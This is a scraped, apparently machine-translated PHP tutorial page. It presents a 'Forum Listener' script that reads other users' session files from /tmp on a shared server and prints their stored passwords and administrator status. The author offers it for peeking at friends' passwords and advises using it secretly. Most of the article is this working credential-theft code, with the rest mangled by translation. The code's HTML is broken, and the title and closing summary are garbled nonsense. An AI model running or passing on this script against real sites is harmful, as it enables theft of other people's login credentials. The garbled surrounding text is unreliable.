Discussion"/> Discussion">

Home  >  Article  >  Backend Development  >  unknown software exception php function to view session content

unknown software exception php function to view session content

WBOY
WBOYOriginal
2016-07-29 08:38:421236browse

For example: name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1", we also know the location where the session is stored, and can upload files, so, at that time, After doing a little hack, I can see the passwords of my online friends at a glance, haha:
function submit1(){
global $username;
print "Forum Listener" ;
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "Are you too shady? Are you checking me too?";
return;
}
$path="/tmp/";
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,0,4) == "sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode("; ",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]==""".$username."""){
$ passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print "User pen name:".$name[2]."Use mode:";
if($mode[1]==1)
print "Administratorelse
print "General user";
print"

Stealing other people's passwords is unethical, please do it less
";
$i=1;
break;
}}}}
if(!$i)
print "Is user:".$username." really online? If you are sure, Please come again, don’t type more spaces! ";
$d->close();
}
function login(){
?>


Forum Listener
< meta http-equiv="Content-Type" c border="0" cellspacing="0" cellpadding="0">

When you see a user If you want to see his password while online, what should you do?


Let me tell you: just use this program.


Solemnly declare: This program is a free program, any losses caused by it I am not responsible.

However, this problem may be solved soon, so I’d better use it secretly without publicity.














}
//-------------main()
if($submit1)
submit1();
else
login( );
?>

The above introduces the function of unknown software exception PHP to view session content, including the content of unknown software exception. I hope it will be helpful to friends who are interested in PHP tutorials.

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Previous article:International trade practice case analysis Example analysis of commonly used array processing methods in PHPNext article:International trade practice case analysis Example analysis of commonly used array processing methods in PHP

Related articles

See more